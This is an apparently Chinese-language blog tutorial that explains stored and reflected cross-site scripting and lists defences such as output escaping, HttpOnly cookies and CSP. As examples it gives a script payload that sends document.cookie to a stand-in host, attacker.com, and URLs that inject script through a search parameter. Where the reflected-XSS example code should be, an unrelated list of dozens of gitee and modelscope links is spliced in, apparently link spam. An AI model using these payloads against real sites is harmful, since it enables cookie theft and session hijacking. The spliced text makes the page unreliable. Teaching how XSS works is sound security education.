XSS跨站脚本攻击:存储型与反射型

📅 2026/7/12 20:28:10 👁️ 阅读次数 📝 编程学习
XSS跨站脚本攻击:存储型与反射型

好的,我们来详细解释 XSS(跨站脚本攻击)中的存储型与反射型两种主要类型。


XSS(跨站脚本攻击)概述

XSS 是一种常见的 Web 安全漏洞,攻击者通过向网页中注入恶意脚本(如 JavaScript),使这些脚本在用户浏览器中执行。攻击目标通常是窃取用户敏感信息(如 Cookie、会话令牌)或劫持用户会话。根据恶意脚本的存储和执行方式,XSS 主要分为存储型反射型


1. 存储型 XSS(持久型)

攻击原理
  • 攻击者将恶意脚本永久存储在目标服务器的数据库中(如评论、用户资料、论坛帖子)。
  • 当其他用户访问包含该恶意内容的页面时,脚本从服务器加载并自动执行
攻击流程
  1. 攻击者提交含恶意脚本的内容到服务器(例如:评论区输入"><script>恶意代码</script>)。
  2. 服务器将内容存储到数据库。
  3. 用户访问包含该内容的页面时,恶意脚本被渲染并执行。
危害
  • 持久性强:恶意脚本长期存在,影响所有访问者。
  • 传播范围广:可大规模窃取用户数据(如 Cookie)。
示例代码
<!-- 攻击者在评论区输入: --> <script> fetch('https://attacker.com/steal?data=' + document.cookie); </script>

2. 反射型 XSS(非持久型)

攻击原理
  • 恶意脚本作为URL 参数传递给服务器(如搜索查询、表单提交)。
  • 服务器将参数反射回响应页面中,脚本在用户浏览器执行。
  • 需诱导用户点击恶意链接(如通过钓鱼邮件)。
攻击流程
  1. 攻击者构造含恶意脚本的 URL:
    https://victim.com/search?q=<script>恶意代码</script>
  2. 用户点击该链接后,服务器将q参数值返回到页面。
  3. 返回内容中的脚本被执行。
危害
  • 依赖用户交互:需诱导用户点击恶意链接。
  • 短暂性:仅对当前点击的用户生效。
示例代码

gitee.com/huang-yong55/liusir/blob/master/x741.md
gitee.com/huang-yong55/liusir/blob/master/x659.md
gitee.com/huang-yong55/liusir/blob/master/t291.md
gitee.com/huang-yong55/liusir/blob/master/z943.md
gitee.com/huang-yong55/liusir/blob/master/k601.md
gitee.com/huang-yong55/liusir/blob/master/j401.md
gitee.com/huang-yong55/liusir/blob/master/r571.md
gitee.com/huang-yong55/liusir/blob/master/p879.md
gitee.com/huang-yong55/liusir/blob/master/o091.md
gitee.com/huang-yong55/liusir/blob/master/m092.md
gitee.com/huang-yong55/liusir/blob/master/l794.md
gitee.com/huang-yong55/liusir/blob/master/s875.md
gitee.com/huang-yong55/liusir/blob/master/u621.md
gitee.com/huang-yong55/liusir/blob/master/g282.md
gitee.com/huang-yong55/liusir/blob/master/m162.md
gitee.com/huang-yong55/liusir/blob/master/j936.md
gitee.com/huang-yong55/liusir/blob/master/c315.md
gitee.com/huang-yong55/liusir/blob/master/u872.md
gitee.com/huang-yong55/liusir/blob/master/x313.md
gitee.com/huang-yong55/liusir/blob/master/f581.md
gitee.com/huang-yong55/liusir/blob/master/i552.md
gitee.com/huang-yong55/liusir/blob/master/a946.md
gitee.com/huang-yong55/liusir/blob/master/w758.md
gitee.com/huang-yong55/liusir/blob/master/y844.md
gitee.com/huang-yong55/liusir/blob/master/j267.md
gitee.com/huang-yong55/liusir/blob/master/x889.md
gitee.com/huang-yong55/liusir/blob/master/r659.md
gitee.com/huang-yong55/liusir/blob/master/w599.md
gitee.com/huang-yong55/liusir/blob/master/i471.md
gitee.com/huang-yong55/liusir/blob/master/o415.md
gitee.com/huang-yong55/liusir/blob/master/d882.md
gitee.com/huang-yong55/liusir/blob/master/a140.md
gitee.com/huang-yong55/liusir/blob/master/l979.md
gitee.com/huang-yong55/liusir/blob/master/w034.md
gitee.com/huang-yong55/liusir/blob/master/g518.md
gitee.com/huang-yong55/liusir/blob/master/k666.md
gitee.com/huang-yong55/liusir/blob/master/q432.md
gitee.com/huang-yong55/liusir/blob/master/c057.md
gitee.com/huang-yong55/liusir/blob/master/s963.md
gitee.com/huang-yong55/liusir/blob/master/h638.md
gitee.com/huang-yong55/liusir/blob/master/p341.md
gitee.com/huang-yong55/liusir/blob/master/s619.md
www.modelscope.cn/learn/431988
www.modelscope.cn/learn/431989

<!-- 恶意链接示例: --> <a href="https://victim.com/search?q=<script>alert('XSS')</script>"> 点击领取奖品 </a>

防御建议

  1. 输入过滤与转义
    • 对用户输入的数据进行严格过滤(如移除<script>标签)。
    • 输出时转义特殊字符(如<&lt;,>&gt;)。
  2. 使用安全编码库
    • 框架内置的转义函数(如 React 的 JSX 自动转义)。
  3. 设置 Cookie 为 HttpOnly
    • 防止 JavaScript 窃取 Cookie:
      Set-Cookie: sessionId=abc123; HttpOnly
  4. 启用 CSP(内容安全策略)
    • 限制脚本来源:
      Content-Security-Policy: script-src 'self'

总结

类型存储位置触发方式持久性
存储型服务器数据库访问页面时自动执行长期
反射型URL 参数需用户点击恶意链接短暂

通过理解两种 XSS 的差异,开发者可针对性地加强防护措施,确保 Web 应用的安全性。